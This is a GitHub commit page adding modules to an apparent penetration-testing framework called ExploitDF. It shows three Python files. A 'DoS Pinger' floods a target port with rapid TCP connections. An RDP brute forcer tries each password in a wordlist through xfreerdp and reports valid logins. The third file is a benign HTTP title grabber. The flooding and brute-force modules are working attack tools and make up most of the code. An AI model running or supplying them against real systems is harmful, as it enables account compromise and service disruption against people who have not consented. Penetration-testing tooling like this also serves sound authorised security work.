Skip to content

Commit d7bea8d

Browse files
authored
Add files via upload
1 parent 3767f68 commit d7bea8d

40 files changed

+2888
-0
lines changed

config/config.txt

Whitespace-only changes.

modules/__init__.py

Whitespace-only changes.

modules/auxiliary/__init__.py

Whitespace-only changes.
3.93 KB
Binary file not shown.
3.54 KB
Binary file not shown.
6.4 KB
Binary file not shown.
3.73 KB
Binary file not shown.

modules/auxiliary/dos_pinger.py

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
#!/usr/bin/env python3
2+
"""
3+
DoS Pinger (AuxiliaryModule)
4+
Sends rapid TCP connections and payloads to target to stress test service.
5+
"""
6+
7+
import socket
8+
import time
9+
from BaseModule import AuxiliaryModule
10+
11+
12+
class DoSPinger(AuxiliaryModule):
13+
def __init__(self):
14+
super().__init__()
15+
self.info.update({
16+
'name': 'DoS Pinger',
17+
'description': 'Flood target with TCP packets for stress testing',
18+
'author': 'Danii',
19+
'version': '1.0'
20+
})
21+
22+
self.options.update({
23+
'RHOSTS': '',
24+
'RPORT': 80,
25+
'PACKET_SIZE': 1024,
26+
'COUNT': 100,
27+
'DELAY': 0.01, # seconds between packets
28+
'TIMEOUT': 1
29+
})
30+
31+
self.required_options.add('RHOSTS')
32+
33+
def scan_target(self, target):
34+
port = int(self.get_option('RPORT'))
35+
count = int(self.get_option('COUNT'))
36+
size = int(self.get_option('PACKET_SIZE'))
37+
delay = float(self.get_option('DELAY'))
38+
self.print_status(f"Starting DoS ping flood to {target}:{port} ({count} packets)")
39+
40+
for i in range(1, count + 1):
41+
if not self.running:
42+
break
43+
try:
44+
sock = socket.create_connection((target, port), timeout=int(self.get_option('TIMEOUT')))
45+
sock.send(b"A" * size)
46+
sock.close()
47+
self.print_good(f"Sent packet {i}/{count}")
48+
time.sleep(delay)
49+
except Exception as e:
50+
self.print_error(f"Stopped on packet {i}: {e}")
51+
break
52+
53+
def run(self):
54+
if super().run() == False:
55+
return False
56+
57+
targets = [t.strip() for t in str(self.get_option('RHOSTS')).split(",") if t.strip()]
58+
for i, target in enumerate(targets, start=1):
59+
if not self.running:
60+
break
61+
self.progress_update(i, len(targets), f"Flooding {target}")
62+
self.scan_target(target)
63+
64+
self.print_good("DoS ping completed")
65+
self.cleanup()
66+
return True
67+
68+
69+
if __name__ == "__main__":
70+
m = DoSPinger()
71+
m.set_option('RHOSTS', '192.168.56.101')
72+
m.set_option('RPORT', 80)
73+
m.set_option('COUNT', 50)
74+
m.run()

modules/auxiliary/http_title.py

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
# """
2+
# Sample HTTP Title Grabber Module for ExploitDF Framework
3+
# """
4+
import sys
5+
from pathlib import Path
6+
7+
# Add the project's root directory to the Python path
8+
project_root = Path(__file__).resolve().parent.parent.parent
9+
sys.path.append(str(project_root))
10+
11+
from BaseModule import AuxiliaryModule
12+
import socket
13+
import re
14+
15+
16+
class HttpTitleModule(AuxiliaryModule):
17+
def __init__(self):
18+
super().__init__()
19+
20+
self.info.update({
21+
'name': 'HTTP Title Grabber',
22+
'description': 'Grab HTTP page titles from web servers',
23+
'author': 'Abhay Pratap Singh',
24+
'version': '1.0',
25+
'type': 'auxiliary'
26+
})
27+
28+
self.options.update({
29+
'RPORT': 80,
30+
'SSL': False,
31+
'URI': '/',
32+
'UserAgent': 'Mozilla/5.0 (ExploitDF)'
33+
})
34+
35+
def run(self):
36+
"""Main execution method"""
37+
if super().run() == False:
38+
return False
39+
40+
targets_string = self.get_option('RHOSTS')
41+
targets = targets_string.split(',') if targets_string else []
42+
43+
for target in targets:
44+
target = target.strip()
45+
if target:
46+
self.grab_title(target)
47+
48+
return True
49+
50+
def grab_title(self, target):
51+
"""Grab the title from a web server"""
52+
try:
53+
port = self.get_option('RPORT')
54+
uri = self.get_option('URI')
55+
user_agent = self.get_option('UserAgent')
56+
57+
sock = self.create_socket(target, port)
58+
if not sock:
59+
return
60+
61+
# Send HTTP request
62+
request = f"""GET {uri} HTTP/1.1\r\nHost: {target}\r\nUser-Agent: {user_agent}\r\nConnection: close\r\n\r\n"""
63+
64+
sock.send(request.encode())
65+
response = sock.recv(4096).decode('utf-8', errors='ignore')
66+
sock.close()
67+
68+
# Extract title
69+
title_match = re.search(r'<title>(.*?)</title>', response, re.IGNORECASE | re.DOTALL)
70+
if title_match:
71+
title = title_match.group(1).strip()
72+
self.print_good(f"{target}:{port} - Title: {title}")
73+
else:
74+
self.print_status(f"{target}:{port} - No title found")
75+
76+
except Exception as e:
77+
self.print_error(f"Error connecting to {target}: {e}")
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
#!/usr/bin/env python3
2+
"""
3+
RDP Brute Forcer (xfreerdp only)
4+
Attempts RDP authentication against target(s) using xfreerdp in auth-only mode.
5+
Works on Windows (with xfreerdp.exe installed and in PATH) and Linux.
6+
"""
7+
8+
import os
9+
import subprocess
10+
import time
11+
from BaseModule import AuxiliaryModule
12+
13+
14+
class RDPBruteForcer(AuxiliaryModule):
15+
def __init__(self):
16+
super().__init__()
17+
self.info.update({
18+
'name': 'RDP Brute Forcer',
19+
'description': 'Attempts RDP authentication using xfreerdp and a username/password list',
20+
'author': 'Danii',
21+
'version': '2.0'
22+
})
23+
24+
self.options.update({
25+
'RHOSTS': '', # comma separated hosts
26+
'RPORT': 3389,
27+
'USERNAME': 'Administrator',
28+
'PASSLIST': 'passwords.txt', # one password per line
29+
'TIMEOUT': 10,
30+
'DELAY': 0.5, # seconds between attempts
31+
'STOP_ON_SUCCESS': True
32+
})
33+
34+
self.required_options.update({'RHOSTS', 'USERNAME', 'PASSLIST'})
35+
36+
def try_login(self, target, username, password):
37+
"""Try single username/password pair using xfreerdp."""
38+
port = int(self.get_option('RPORT') or 3389)
39+
timeout = int(self.get_option('TIMEOUT') or 10)
40+
hostport = f"{target}:{port}" if port != 3389 else target
41+
42+
cmd = [
43+
"xfreerdp", "--auth-only", f"/u:{username}", f"/p:{password}",
44+
f"/v:{hostport}", "--ignore-certificate"
45+
]
46+
47+
try:
48+
p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
49+
out = (p.stdout or "") + (p.stderr or "")
50+
self.vprint(f"[xfreerdp] rc={p.returncode} output:\n{out}")
51+
52+
if p.returncode == 0 and "Authentication only" in out:
53+
return True, out # success
54+
return False, out # failure
55+
except FileNotFoundError:
56+
return False, "xfreerdp.exe not found (add it to PATH)"
57+
except subprocess.TimeoutExpired:
58+
return False, "xfreerdp timed out"
59+
60+
def scan_target(self, target):
61+
username = str(self.get_option('USERNAME') or '')
62+
passfile = str(self.get_option('PASSLIST') or '')
63+
delay = float(self.get_option('DELAY') or 0.5)
64+
stop_on_success = bool(self.get_option('STOP_ON_SUCCESS') in (True, 'True', 'true', '1', 1))
65+
66+
if not os.path.exists(passfile):
67+
self.print_error(f"Password list not found: {passfile}")
68+
return
69+
70+
try:
71+
with open(passfile, 'r', encoding='utf-8', errors='ignore') as fh:
72+
passwords = [line.strip() for line in fh if line.strip()]
73+
except Exception as e:
74+
self.print_error(f"Could not read {passfile}: {e}")
75+
return
76+
77+
if not passwords:
78+
self.print_error("Password list empty.")
79+
return
80+
81+
total = len(passwords)
82+
self.print_status(f"Attempting {total} passwords against {target} for user '{username}'")
83+
84+
for idx, pwd in enumerate(passwords, start=1):
85+
if not self.running:
86+
break
87+
self.progress_update(idx, total, f"trying {idx}/{total}")
88+
ok, output = self.try_login(target, username, pwd)
89+
if ok:
90+
self.print_good(f"VALID: {username}:{pwd} on {target}")
91+
if stop_on_success:
92+
return
93+
else:
94+
self.vprint(f"Failed: {username}:{pwd} - {output}")
95+
time.sleep(delay)
96+
97+
def run(self):
98+
if super().run() == False:
99+
return False
100+
101+
hosts = [h.strip() for h in str(self.get_option('RHOSTS')).split(",") if h.strip()]
102+
if not hosts:
103+
self.print_error("RHOSTS not set or no valid targets.")
104+
return False
105+
106+
for i, host in enumerate(hosts, start=1):
107+
if not self.running:
108+
break
109+
self.progress_update(i, len(hosts), f"Brute forcing RDP on {host}")
110+
self.scan_target(host)
111+
112+
self.print_good("RDP brute forcing finished")
113+
self.cleanup()
114+
return True
115+
116+
117+
if __name__ == "__main__":
118+
# Standalone test mode
119+
m = RDPBruteForcer()
120+
m.set_option('RHOSTS', '127.0.0.1')
121+
m.set_option('USERNAME', 'Administrator')
122+
m.set_option('PASSLIST', 'passwords.txt')
123+
m.run()

0 commit comments

Comments
 (0)